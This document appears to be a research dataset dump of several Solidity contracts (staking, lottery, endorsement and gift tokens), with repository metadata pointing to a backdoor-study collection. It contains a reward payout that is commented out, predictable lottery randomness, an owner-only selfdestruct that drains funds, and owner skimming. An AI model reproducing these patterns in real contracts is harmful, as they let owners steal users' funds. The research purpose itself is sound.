user.amount.mul(multiplier).mul(pool.rewardAPY).div(100).div(SECONDS_PER_YEAR);
}
return 0;
}
// Stake SYRUP tokens to StakingPool
function deposit(uint256 _amount, uint256 _id) public {
PoolInfo storage pool = poolInfo[_id];
UserInfo storage user = userInfo[msg.sender][_id];
require(_amount > 0, "staking amount should be greater than zero");
require(user.amount == 0, "already staked some tokens");
require(block.timestamp < pool.bonusEndBlock, "Pool has been closed");
require(block.timestamp > pool.startBlock, "Pool has not started yet");
if (_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender),
address(this),
_amount);
user.amount = _amount;
user.startBlock = block.timestamp;
user.endBlock = block.timestamp;
user.rewardAPY = pool.rewardAPY;
pool.totalStaked = pool.totalStaked.add(_amount);
}
emit Deposit(msg.sender, _amount, address(pool.lpToken));
}
function processPendingReward(uint256 _id) internal {
PoolInfo storage pool = poolInfo[_id];
UserInfo storage user = userInfo[msg.sender][_id];
uint256 lpSupply = pool.totalStaked;
uint256 rewardAmt = 0;
if (block.timestamp > user.startBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(user.startBlock,
block.timestamp,
_id);
rewardAmt = user
.amount
.mul(multiplier)
.mul(pool.rewardAPY)
.div(100)
.div(SECONDS_PER_YEAR);
}
if (rewardAmt > 0) {
//pool.lpToken.safeTransfer(address(msg.sender), rewardAmt);
}
}
// Withdraw SYRUP tokens from STAKING.
function withdraw(uint256 _amount, uint256 _id) public {
PoolInfo storage pool = poolInfo[_id];
UserInfo storage user = userInfo[msg.sender][_id];
require(user.amount >= _amount, "withdraw: not good");
require(user.endBlock <= block.timestamp ||
pool.bonusEndBlock <= block.timestamp,
"need to claim after the lock period ends");
processPendingReward(_id);
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
pool.totalStaked = pool.totalStaked.sub(_amount);
}
emit Withdraw(msg.sender, _amount, address(pool.lpToken));
}
}
| 111,645 | 13,583 |
9991a87382e3c83fe70e88c571b7c94c5fc7f794e84d9af9ba320e1a30356900
| 13,479 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xedbe509e65f7425016265a049941311497c0099c.sol
| 3,075 | 12,189 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier notOwner() {
require(msg.sender != owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Resume();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function resume() onlyOwner whenPaused public {
paused = false;
emit Resume();
}
}
contract LuckyYouTokenInterface {
function airDrop(address _to, uint256 _value) public returns (bool);
function balanceOf(address who) public view returns (uint256);
}
contract LuckyYouContract is Pausable {
using SafeMath for uint256;
LuckyYouTokenInterface public luckyYouToken = LuckyYouTokenInterface(0x6D7efEB3DF42e6075fa7Cf04E278d2D69e26a623); //LKY token address
bool public airDrop = true;// weather airdrop LKY tokens to participants or not,owner can set it to true or false;
//set airDrop flag
function setAirDrop(bool _airDrop) public onlyOwner {
airDrop = _airDrop;
}
uint public baseTokenGetRate = 100;
// set token get rate
function setBaseTokenGetRate(uint _baseTokenGetRate) public onlyOwner {
baseTokenGetRate = _baseTokenGetRate;
}
//if the number of participants less than minParticipants,game will not be fired.owner can set it
uint public minParticipants = 50;
function setMinParticipants(uint _minParticipants) public onlyOwner {
minParticipants = _minParticipants;
}
//base price ,owner can set it
uint public basePrice = 0.01 ether;
function setBasePrice(uint _basePrice) public onlyOwner {
basePrice = _basePrice;
}
uint[5] public times = [1, 5, 5 * 5, 5 * 5 * 5, 5 * 5 * 5 * 5];//1x=0.01 ether;5x=0.05 ether; 5*5x=0.25 ether; 5*5*5x=1.25 ether; 5*5*5*5x=6.25 ether;
//at first only enable 1x(0.02ether) ,enable others proper time in future
bool[5] public timesEnabled = [true, false, false, false, false];
uint[5] public currentCounter = [1, 1, 1, 1, 1];
mapping(address => uint[5]) public participatedCounter;
mapping(uint8 => address[]) private participants;
//todo
mapping(uint8 => uint256) public participantsCount;
mapping(uint8 => uint256) public fundShareLastRound;
mapping(uint8 => uint256) public fundCurrentRound;
mapping(uint8 => uint256) public fundShareRemainLastRound;
mapping(uint8 => uint256) public fundShareParticipantsTotalTokensLastRound;
mapping(uint8 => uint256) public fundShareParticipantsTotalTokensCurrentRound;
mapping(uint8 => bytes32) private participantsHashes;
mapping(uint8 => uint8) private lastFiredStep;
mapping(uint8 => address) public lastWinner;
mapping(uint8 => address) public lastFiredWinner;
mapping(uint8 => uint256) public lastWinnerReward;
mapping(uint8 => uint256) public lastFiredWinnerReward;
mapping(uint8 => uint256) public lastFiredFund;
mapping(address => uint256) public whitelist;
uint256 public notInWhitelistAllow = 1;
bytes32 private commonHash = 0x1000;
uint256 public randomNumberIncome = 0;
event Winner1(address value, uint times, uint counter, uint256 reward);
event Winner2(address value, uint times, uint counter, uint256 reward);
function setNotInWhitelistAllow(uint _value) public onlyOwner
{
notInWhitelistAllow = _value;
}
function setWhitelist(uint _value,address [] _addresses) public onlyOwner
{
uint256 count = _addresses.length;
for (uint256 i = 0; i < count; i++) {
whitelist[_addresses [i]] = _value;
}
}
function setTimesEnabled(uint8 _timesIndex, bool _enabled) public onlyOwner
{
require(_timesIndex < timesEnabled.length);
timesEnabled[_timesIndex] = _enabled;
}
function() public payable whenNotPaused {
if(whitelist[msg.sender] | notInWhitelistAllow > 0)
{
uint8 _times_length = uint8(times.length);
uint8 _times = _times_length + 1;
for (uint32 i = 0; i < _times_length; i++)
{
if (timesEnabled[i])
{
if (times[i] * basePrice == msg.value) {
_times = uint8(i);
break;
}
}
}
if (_times > _times_length) {
revert();
}
else
{
if (participatedCounter[msg.sender][_times] < currentCounter[_times])
{
participatedCounter[msg.sender][_times] = currentCounter[_times];
if (airDrop)
{
uint256 _value = baseTokenGetRate * 10 ** 18 * times[_times];
uint256 _plus_value = uint256(keccak256(now, msg.sender)) % _value;
luckyYouToken.airDrop(msg.sender, _value + _plus_value);
}
uint256 senderBalance = luckyYouToken.balanceOf(msg.sender);
if (lastFiredStep[_times] > 0)
{
issueLottery(_times);
fundShareParticipantsTotalTokensCurrentRound[_times] += senderBalance;
senderBalance = senderBalance.mul(2);
} else
{
fundShareParticipantsTotalTokensCurrentRound[_times] += senderBalance;
}
if (participantsCount[_times] == participants[_times].length)
{
participants[_times].length += 1;
}
participants[_times][participantsCount[_times]++] = msg.sender;
participantsHashes[_times] = keccak256(msg.sender, uint256(commonHash));
commonHash = keccak256(senderBalance,commonHash);
fundCurrentRound[_times] += times[_times] * basePrice;
//share last round fund
if (fundShareRemainLastRound[_times] > 0)
{
uint256 _shareFund = fundShareLastRound[_times].mul(senderBalance).div(fundShareParticipantsTotalTokensLastRound[_times]);
if(_shareFund > 0)
{
if (_shareFund <= fundShareRemainLastRound[_times]) {
fundShareRemainLastRound[_times] -= _shareFund;
msg.sender.transfer(_shareFund);
} else {
uint256 _fundShareRemain = fundShareRemainLastRound[_times];
fundShareRemainLastRound[_times] = 0;
msg.sender.transfer(_fundShareRemain);
}
}
}
if (participantsCount[_times] > minParticipants)
{
if (uint256(keccak256(now, msg.sender, commonHash)) % (minParticipants * minParticipants) < minParticipants)
{
fireLottery(_times);
}
}
} else
{
revert();
}
}
}else{
revert();
}
}
function issueLottery(uint8 _times) private {
uint256 _totalFundRate = lastFiredFund[_times].div(100);
if (lastFiredStep[_times] == 1) {
fundShareLastRound[_times] = _totalFundRate.mul(30) + fundShareRemainLastRound[_times];
if (randomNumberIncome > 0)
{
if (_times == (times.length - 1) || timesEnabled[_times + 1] == false)
{
fundShareLastRound[_times] += randomNumberIncome;
randomNumberIncome = 0;
}
}
fundShareRemainLastRound[_times] = fundShareLastRound[_times];
fundShareParticipantsTotalTokensLastRound[_times] = fundShareParticipantsTotalTokensCurrentRound[_times];
fundShareParticipantsTotalTokensCurrentRound[_times] = 0;
if(fundShareParticipantsTotalTokensLastRound[_times] == 0)
{
fundShareParticipantsTotalTokensLastRound[_times] = 10000 * 10 ** 18;
}
lastFiredStep[_times]++;
} else if (lastFiredStep[_times] == 2) {
lastWinner[_times].transfer(_totalFundRate.mul(65));
lastFiredStep[_times]++;
lastWinnerReward[_times] = _totalFundRate.mul(65);
emit Winner1(lastWinner[_times], _times, currentCounter[_times] - 1, _totalFundRate.mul(65));
} else if (lastFiredStep[_times] == 3) {
if (lastFiredFund[_times] > (_totalFundRate.mul(30) + _totalFundRate.mul(4) + _totalFundRate.mul(65)))
{
owner.transfer(lastFiredFund[_times] - _totalFundRate.mul(30) - _totalFundRate.mul(4) - _totalFundRate.mul(65));
}
lastFiredStep[_times] = 0;
}
}
function fireLottery(uint8 _times) private {
lastFiredFund[_times] = fundCurrentRound[_times];
fundCurrentRound[_times] = 0;
lastWinner[_times] = participants[_times][uint256(participantsHashes[_times]) % participantsCount[_times]];
participantsCount[_times] = 0;
uint256 winner2Reward = lastFiredFund[_times].div(100).mul(4);
msg.sender.transfer(winner2Reward);
lastFiredWinner[_times] = msg.sender;
lastFiredWinnerReward[_times] = winner2Reward;
emit Winner2(msg.sender, _times, currentCounter[_times], winner2Reward);
lastFiredStep[_times] = 1;
currentCounter[_times]++;
}
function _getRandomNumber(uint _round) view private returns (uint256){
return uint256(keccak256(participantsHashes[0],
participantsHashes[1],
participantsHashes[2],
participantsHashes[3],
participantsHashes[4],
msg.sender)) % _round;
}
function getRandomNumber(uint _round) public payable returns (uint256){
uint256 tokenBalance = luckyYouToken.balanceOf(msg.sender);
if (tokenBalance >= 100000 * 10 ** 18)
{
return _getRandomNumber(_round);
} else if (msg.value >= basePrice) {
randomNumberIncome += msg.value;
return _getRandomNumber(_round);
} else {
revert();
return 0;
}
}
//in case some bugs
function kill() public {//for test
if (msg.sender == owner)
{
selfdestruct(owner);
}
}
}
| 148,069 | 13,584 |
3ef3110087aaa9844dfb65fbd7795c5314d1e78515f7d9b038689d90cca13952
| 18,545 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/04/0443c9C35A8E70b3dc760BCB5Fc1EE008Fb1D3c2_EndorseUser.sol
| 2,997 | 10,263 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
library SignedSafeMath {
function mul(int256 a, int256 b) internal pure returns (int256) {
return a * b;
}
function div(int256 a, int256 b) internal pure returns (int256) {
return a / b;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
return a - b;
}
function add(int256 a, int256 b) internal pure returns (int256) {
return a + b;
}
}
contract EndorseUser is Context, Ownable {
using SafeMath for uint8;
using SafeMath for uint256;
using SignedSafeMath for int256;
address public mscToken;
address public lockAddress = 0x0F5dCfEB80A5986cA3AfC17eA7e45a1df8Be4844;
address public rewardAddress = 0x292eC696dEc44222799c4e8D90ffbc1032D1b7AC;
uint256 TotalLock;
uint256 RewardPerToken;
struct Vote {
bool upvoted;
uint256 amount;
}
struct Voter {
uint8 totalVote;
uint256 totalLock;
mapping(address => Vote) votes;
}
struct UserVote {
uint8 totalVote;
uint256 totalAmount;
}
mapping(address => Voter) public _voters;
mapping(address => UserVote) public _votes;
mapping(address => int256) public _rewardTally;
event Upvote(address indexed by, address indexed user, uint256 amount);
event Unvote(address indexed by, address indexed user, uint256 amount);
event Claim(address indexed user, uint256 reward);
event Distribute(uint256 reward);
constructor (address _mscToken) {
mscToken = _mscToken;
}
function addRewardTally(address user, uint256 amount) private {
uint256 totalReward = RewardPerToken.mul(amount.div(10**18));
_rewardTally[user] = _rewardTally[user].add(int(totalReward));
}
function subRewardTally(address user, uint256 amount) private {
uint256 totalReward = RewardPerToken.mul(amount.div(10**18));
_rewardTally[user] = _rewardTally[user].sub(int(totalReward));
}
function computeReward(address user) private view returns(uint256) {
int256 totalReward = int(_votes[user].totalAmount.div(10**18).mul(RewardPerToken));
int256 rewardBalance = totalReward.sub(_rewardTally[user]);
return rewardBalance >= 0 ? uint(rewardBalance) : 0;
}
function upvote(address user, uint256 amount) public returns(bool) {
require(user != address(0x0), "Invalid address");
require(amount > 0 && amount <= IERC20(mscToken).balanceOf(_msgSender()), "Invalid amount or not enough balance");
require(!_voters[_msgSender()].votes[user].upvoted, "Already upvoted to this user");
_voters[_msgSender()].totalVote += 1;
_voters[_msgSender()].totalLock = _voters[_msgSender()].totalLock.add(amount);
_voters[_msgSender()].votes[user].upvoted = true;
_voters[_msgSender()].votes[user].amount = amount;
_votes[user].totalVote += 1;
_votes[user].totalAmount = _votes[user].totalAmount.add(amount);
uint256 allowance = IERC20(mscToken).allowance(address(this), _msgSender());
IERC20(mscToken).approve(_msgSender(), allowance.add(amount));
IERC20(mscToken).transferFrom(_msgSender(), lockAddress, amount);
TotalLock = TotalLock.add(amount);
addRewardTally(user, amount);
emit Upvote(_msgSender(), user, amount);
return true;
}
function unvote(address user) public returns(bool) {
require(user != address(0x0), "Invalid address");
require(_voters[_msgSender()].votes[user].upvoted, "You did not upvote this user");
uint256 amount = _voters[_msgSender()].votes[user].amount;
_voters[_msgSender()].totalVote -= 1;
_voters[_msgSender()].totalLock = _voters[_msgSender()].totalLock.sub(amount);
_voters[_msgSender()].votes[user].upvoted = false;
_votes[user].totalVote -= 1;
_votes[user].totalAmount = _votes[user].totalAmount.sub(amount);
uint256 allowance = IERC20(mscToken).allowance(address(this), lockAddress);
IERC20(mscToken).approve(lockAddress, allowance.add(amount));
IERC20(mscToken).transferFrom(lockAddress, _msgSender(), amount);
TotalLock = TotalLock.sub(amount);
subRewardTally(user, amount);
emit Unvote(_msgSender(), user, amount);
return true;
}
function getTotalUpvotedBy(address upvotedBy) public view returns(uint8, uint256){
return (_voters[upvotedBy].totalVote, _voters[upvotedBy].totalLock);
}
function checkVote(address upvotedBy, address user) public view returns(bool, uint256){
return (_voters[upvotedBy].votes[user].upvoted, _voters[upvotedBy].votes[user].amount);
}
function checkTotalVotes(address user) public view returns(uint8, uint256){
return (_votes[user].totalVote, _votes[user].totalAmount);
}
function updateLockAddress(address _newAddress) external onlyOwner {
lockAddress = _newAddress;
}
function updateRewardAddress(address _newAddress) external onlyOwner {
rewardAddress = _newAddress;
}
function distribute(uint256 rewards) external onlyOwner returns (bool) {
if (TotalLock > 0) {
RewardPerToken = RewardPerToken.add(rewards.div(TotalLock.div(10**16)).mul(10**2));
}
emit Distribute(rewards);
return true;
}
function checkRewards(address user) public view returns(uint256) {
uint256 reward = computeReward(user);
return reward;
}
function claim() public returns(bool) {
uint256 reward = computeReward(_msgSender());
uint256 rewardBalance = IERC20(mscToken).balanceOf(rewardAddress);
require(reward > 0, "No rewards to claim.");
require(reward <= rewardBalance, "No available funds.");
uint256 newRewardTally = _votes[_msgSender()].totalAmount.div(10**18).mul(RewardPerToken);
_rewardTally[_msgSender()] = int(newRewardTally);
uint256 allowance = IERC20(mscToken).allowance(address(this), _msgSender());
IERC20(mscToken).approve(rewardAddress, allowance.add(reward));
IERC20(mscToken).transferFrom(rewardAddress, _msgSender(), reward);
emit Claim(_msgSender(), reward);
return true;
}
}
| 115,771 | 13,585 |
544290a86e69face50ff900cab45924ec402e02ac866f70e96684bfb6e49a88a
| 16,436 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x07c7a91a4d0baf16df99764d7b19c5129ecc6533.sol
| 3,937 | 15,937 |
pragma solidity ^0.4.18;
contract ERC721 {
// ERC20 compatible functions
// use variable getter
// function name() constant returns (string name);
// function symbol() constant returns (string symbol);
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint balance);
function ownerOf(uint256 _tokenId) public constant returns (address owner);
function approve(address _to, uint256 _tokenId) public ;
function allowance(address _owner, address _spender) public constant returns (uint256 tokenId);
function transfer(address _to, uint256 _tokenId) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _tokenId) external;
// Optional
// function takeOwnership(uint256 _tokenId) public ;
// function tokenMetadata(uint256 _tokenId) public constant returns (string infoUrl);
// Events
event Transfer(address _from, address _to, uint256 _tokenId);
event Approval(address _owner, address _approved, uint256 _tokenId);
}
contract ERC20 {
// Get the total token supply
function totalSupply() public constant returns (uint256 _totalSupply);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) public constant returns (uint256 balance);
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value) public returns (bool success);
// transfer _value amount of token approved by address _from
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
// approve an address with _value amount of tokens
function approve(address _spender, uint256 _value) public returns (bool success);
// get remaining token approved by _owner to _spender
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
// Triggered when tokens are transferred.
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// Triggered whenever approve(address _spender, uint256 _value) is called.
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract SpecialGift is ERC721 {
string public name = "VirtualGift";
uint8 public decimals = 0;
string public symbol = "VTG";
string public version = "1.0";
address private defaultGiftOwner;
mapping(address => bool) allowPermission;
ERC20 private Gifto = ERC20(0x00C5bBaE50781Be1669306b9e001EFF57a2957b09d);
event Creation(address indexed _owner, uint256 indexed tokenId);
//Gift token storage.
GiftToken[] giftStorageArry;
//Gift template storage.
GiftTemplateToken[] giftTemplateStorageArry;
//mapping address to it's gift sum
mapping(address => uint256) private balances;
//mapping gift id to owner
mapping(uint256 => address) private giftIndexToOwners;
//tells the gift is existed by gift id
mapping(uint256 => bool) private giftExists;
//mapping current owner to approved owners to gift
mapping(address => mapping (address => uint256)) private ownerToApprovedAddsToGifIds;
//mapping gift template id to gift ids
mapping(uint256 => uint256[]) private giftTemplateIdToGiftids;
//mapping address to allready bought sum.
mapping(address => mapping(uint256 => uint256)) private addressToBoughtSum;
//Mapping gift type to gift limit.
mapping(uint256 => uint256) private giftTypeToGiftLimit;
//Single address can limitation.
uint256 constant NO_LIMIT = 0;
uint256 private singleAddressBuyLimit = 1;
//mapping gift template to gift selled sum.
mapping(uint256 => uint256) private giftTypeToSelledSum;
//Gift template known as 0 generation gift
struct GiftTemplateToken {
uint256 giftPrice;
uint256 giftLimit;
//gift image url
string giftImgUrl;
//gift animation url
string giftName;
}
//Special gift token
struct GiftToken {
uint256 giftPrice;
uint256 giftType;
//gift image url
string giftImgUrl;
//gift animation url
string giftName;
}
modifier onlyHavePermission(){
require(allowPermission[msg.sender] == true || msg.sender == defaultGiftOwner);
_;
}
modifier onlyOwner(){
require(msg.sender == defaultGiftOwner);
_;
}
//@dev Constructor
function SpecialGift() public {
defaultGiftOwner = msg.sender;
GiftToken memory newGift = GiftToken({
giftPrice: 0,
giftType: 0,
giftImgUrl: "",
giftName: ""
});
GiftTemplateToken memory newGiftTemplate = GiftTemplateToken({
giftPrice: 0,
giftLimit: 0,
giftImgUrl: "",
giftName: ""
});
giftStorageArry.push(newGift); // id = 0
giftTemplateStorageArry.push(newGiftTemplate);
}
function addPermission(address _addr)
public
onlyOwner{
allowPermission[_addr] = true;
}
function removePermission(address _addr)
public
onlyOwner{
allowPermission[_addr] = false;
}
///@dev Buy a gift while create a new gift based on gift template.
///Make sure to call Gifto.approve() fist, before calling this function
function sendGift(uint256 _type,
address recipient)
public
onlyHavePermission
returns(uint256 _giftId)
{
//Check if there is a buy Limit for buyer address
require(addressToBoughtSum[recipient][_type] < singleAddressBuyLimit);
//Check if the created gifts sum < gift Limit
require(giftTypeToSelledSum[_type] < giftTemplateStorageArry[_type].giftLimit);
//_type must be a valid value
require(_type > 0 && _type < giftTemplateStorageArry.length);
//Mint a special gift.
_giftId = _mintGift(_type, recipient);
giftTypeToSelledSum[_type]++;
addressToBoughtSum[recipient][_type]++;
return _giftId;
}
/// @dev Mint gift.
function _mintGift(uint256 _type,
address recipient)
internal returns (uint256)
{
GiftToken memory newGift = GiftToken({
giftPrice: giftTemplateStorageArry[_type].giftPrice,
giftType: _type,
giftImgUrl: giftTemplateStorageArry[_type].giftImgUrl,
giftName: giftTemplateStorageArry[_type].giftName
});
uint256 giftId = giftStorageArry.push(newGift) - 1;
//Add giftid to gift template mapping
giftTemplateIdToGiftids[_type].push(giftId);
giftExists[giftId] = true;
//Reassign Ownership for new owner
_transfer(0, recipient, giftId);
//Trigger Ethereum Event
Creation(msg.sender, giftId);
return giftId;
}
/// @dev Initiate gift template.
/// A gift template means a gift of "0" generation's
function createGiftTemplate(uint256 _price,
uint256 _limit,
string _imgUrl,
string _giftName)
public onlyHavePermission
returns (uint256 giftTemplateId)
{
//Check these variables
require(_price > 0);
bytes memory imgUrlStringTest = bytes(_imgUrl);
bytes memory giftNameStringTest = bytes(_giftName);
require(imgUrlStringTest.length > 0);
require(giftNameStringTest.length > 0);
require(_limit > 0);
require(msg.sender != address(0));
//Create GiftTemplateToken
GiftTemplateToken memory newGiftTemplate = GiftTemplateToken({
giftPrice: _price,
giftLimit: _limit,
giftImgUrl: _imgUrl,
giftName: _giftName
});
//Push GiftTemplate into storage.
giftTemplateId = giftTemplateStorageArry.push(newGiftTemplate) - 1;
giftTypeToGiftLimit[giftTemplateId] = _limit;
return giftTemplateId;
}
function updateTemplate(uint256 templateId,
uint256 _newPrice,
uint256 _newlimit,
string _newUrl,
string _newName)
public
onlyOwner {
giftTemplateStorageArry[templateId].giftPrice = _newPrice;
giftTemplateStorageArry[templateId].giftLimit = _newlimit;
giftTemplateStorageArry[templateId].giftImgUrl = _newUrl;
giftTemplateStorageArry[templateId].giftName = _newName;
}
function getGiftSoldFromType(uint256 giftType)
public
constant
returns(uint256){
return giftTypeToSelledSum[giftType];
}
//@dev Retrieving gifts by template.
function getGiftsByTemplateId(uint256 templateId)
public
constant
returns(uint256[] giftsId) {
return giftTemplateIdToGiftids[templateId];
}
//@dev Retrievings all gift template ids
function getAllGiftTemplateIds()
public
constant
returns(uint256[]) {
if (giftTemplateStorageArry.length > 1) {
uint256 theLength = giftTemplateStorageArry.length - 1;
uint256[] memory resultTempIds = new uint256[](theLength);
uint256 resultIndex = 0;
for (uint256 i = 1; i <= theLength; i++) {
resultTempIds[resultIndex] = i;
resultIndex++;
}
return resultTempIds;
}
require(giftTemplateStorageArry.length > 1);
}
//@dev Retrieving gift template by it's id
function getGiftTemplateById(uint256 templateId)
public constant returns(uint256 _price,
uint256 _limit,
string _imgUrl,
string _giftName){
require(templateId > 0);
require(templateId < giftTemplateStorageArry.length);
GiftTemplateToken memory giftTemplate = giftTemplateStorageArry[templateId];
_price = giftTemplate.giftPrice;
_limit = giftTemplate.giftLimit;
_imgUrl = giftTemplate.giftImgUrl;
_giftName = giftTemplate.giftName;
return (_price, _limit, _imgUrl, _giftName);
}
/// @dev Retrieving gift info by gift id.
function getGift(uint256 _giftId)
public constant returns (uint256 giftType,
uint256 giftPrice,
string imgUrl,
string giftName) {
require(_giftId < giftStorageArry.length);
GiftToken memory gToken = giftStorageArry[_giftId];
giftType = gToken.giftType;
giftPrice = gToken.giftPrice;
imgUrl = gToken.giftImgUrl;
giftName = gToken.giftName;
return (giftType, giftPrice, imgUrl, giftName);
}
/// @dev transfer gift to a new owner.
/// @param _to :
/// @param _giftId :
function transfer(address _to, uint256 _giftId) external returns (bool success){
require(giftExists[_giftId]);
require(_to != 0x0);
require(msg.sender != _to);
require(msg.sender == ownerOf(_giftId));
require(_to != address(this));
_transfer(msg.sender, _to, _giftId);
return true;
}
/// @dev change Gifto contract's address or another type of token, like Ether.
/// @param newAddress Gifto contract address
function setGiftoAddress(address newAddress) public onlyOwner {
Gifto = ERC20(newAddress);
}
/// @dev Retrieving Gifto contract adress
function getGiftoAddress() public constant returns (address giftoAddress) {
return address(Gifto);
}
/// @dev returns total supply for this token
function totalSupply() public constant returns (uint256){
return giftStorageArry.length - 1;
}
//@dev
//@param _owner
//@return
function balanceOf(address _owner) public constant returns (uint256 giftSum) {
return balances[_owner];
}
/// @dev
/// @return owner
function ownerOf(uint256 _giftId) public constant returns (address _owner) {
require(giftExists[_giftId]);
return giftIndexToOwners[_giftId];
}
/// @dev approved owner
/// @param _to :
function approve(address _to, uint256 _giftId) public {
require(msg.sender == ownerOf(_giftId));
require(msg.sender != _to);
ownerToApprovedAddsToGifIds[msg.sender][_to] = _giftId;
//Ethereum Event
Approval(msg.sender, _to, _giftId);
}
/// @dev
/// @param _owner :
/// @param _spender :
function allowance(address _owner, address _spender) public constant returns (uint256 giftId) {
return ownerToApprovedAddsToGifIds[_owner][_spender];
}
/// @dev
/// @param _giftId :
function takeOwnership(uint256 _giftId) public {
//Check if exits
require(giftExists[_giftId]);
address oldOwner = ownerOf(_giftId);
address newOwner = msg.sender;
require(newOwner != oldOwner);
//New owner has to be approved by oldowner.
require(ownerToApprovedAddsToGifIds[oldOwner][newOwner] == _giftId);
//transfer gift for new owner
_transfer(oldOwner, newOwner, _giftId);
delete ownerToApprovedAddsToGifIds[oldOwner][newOwner];
//Ethereum Event
Transfer(oldOwner, newOwner, _giftId);
}
/// @dev transfer gift for new owner "_to"
/// @param _from :
/// @param _to :
/// @param _giftId :
function _transfer(address _from, address _to, uint256 _giftId) internal {
require(balances[_to] + 1 > balances[_to]);
balances[_to]++;
giftIndexToOwners[_giftId] = _to;
if (_from != address(0)) {
balances[_from]--;
}
//Ethereum event.
Transfer(_from, _to, _giftId);
}
/// @dev transfer Gift for new owner(_to) which is approved.
/// @param _from : address of owner of gift
/// @param _to : recipient address
/// @param _giftId : gift id
function transferFrom(address _from, address _to, uint256 _giftId) external {
require(_to != address(0));
require(_to != address(this));
//Check if this spender(_to) is approved to the gift.
require(ownerToApprovedAddsToGifIds[_from][_to] == _giftId);
require(_from == ownerOf(_giftId));
//@dev reassign ownership of the gift.
_transfer(_from, _to, _giftId);
//Delete approved spender
delete ownerToApprovedAddsToGifIds[_from][_to];
}
